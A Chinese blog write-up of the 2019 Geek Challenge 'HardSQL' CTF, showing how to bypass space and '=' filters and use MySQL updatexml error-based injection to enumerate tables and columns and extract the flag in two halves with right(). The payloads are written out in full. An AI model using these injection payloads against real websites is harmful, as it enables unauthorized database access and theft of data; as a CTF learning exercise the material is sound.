[极客大挑战 2019]HardSQL

先进行常规的尝试,发现空格,by,+,=被过滤(可能还有其他的,这里不一一列出)

=被过滤,可以用立刻替代,用括号包裹字符可以不用空格

所以admin'or((1)like(1))#可以登录成功,但是拿不到flag

可以用报错注入

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
updatexml(1, concat(0x7e, database(), 0x7e), 1)
UPDATEXML()是MySQL的XML处理函数,语法为 `UPDATEXML(XML_document, XPath_string, new_value)`。
`concat(0x7e, database(), 0x7e)` 将波浪符 `~`(十六进制 `0x7e`)与当前数据库名拼接,例如 '~test_db~'。
由于 `~` 是非法XPath字符,`UPDATEXML()` 会因XPath语法错误而抛出异常,并将拼接后的字符串包含在报错信息中。

爆表

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

爆列

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

查询password

admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

但是只能得到一半flag,使用right()突破字符限制

right(password,30)截取 password 字段的最后30个字符

admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))#

posted @ 2025-04-24 21:17  Susen  阅读(46)  评论(0)    收藏  举报